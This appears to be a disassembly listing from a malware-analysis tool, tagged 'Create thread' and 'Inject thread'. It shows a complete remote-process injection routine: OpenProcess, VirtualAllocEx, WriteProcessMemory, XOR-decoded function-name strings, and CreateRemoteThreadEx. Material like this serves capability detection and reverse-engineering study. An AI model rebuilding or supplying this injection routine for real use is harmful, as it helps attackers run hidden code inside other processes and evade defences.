Function at 0x10001400
Capabilities:
Create thread
Inject thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x48
push esi
push edi
push ecx
push 0
mov esi, edx
push 0x43a
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10001445
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov eax, esi
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001450
push 4
sub eax, edx
push 0x1000
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x10001604
mov edx, dword [ebp - 4]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001483
sub ecx, dword [ebp - 4]
push 0
lea eax, [ecx + 1]
push eax
push edx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100015f5
mov dword [ebp - 8], 0xcda8ecb9
mov dword [ebp - 4], 0x3c51a5df
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 8], 0xf643a517
mov dword [ebp - 4], 0xfe86ce4e
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 8], 0xa9c983f5
mov dword [ebp - 4], 0x4e33cc93
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], 0xb73ad776
mov dword [ebp - 4], 0xfe86ce4e
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
movaps xmm1, xmmword [ebp - 0x40]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x30], xmm1
mov dword [ebp - 8], 0xc7bbe69e
mov dword [ebp - 4], 0x7c00a0f6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0xdb56b358
mov dword [ebp - 4], 0xfe86ce4e
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], 0xa9c983f5
mov dword [ebp - 4], 0x4e33cc93
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 8], 0xb73ad776
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 4], 0xfe86ce4e
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x34], ecx
movaps xmm1, xmmword [ebp - 0x40]
xorps xmm1, xmmword [ebp - 0x20]
push eax
movaps xmmword [ebp - 0x20], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x30]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100015f5
push 0
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov dword [ebp - 4], eax
test eax, eax
je 0x100015f5
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret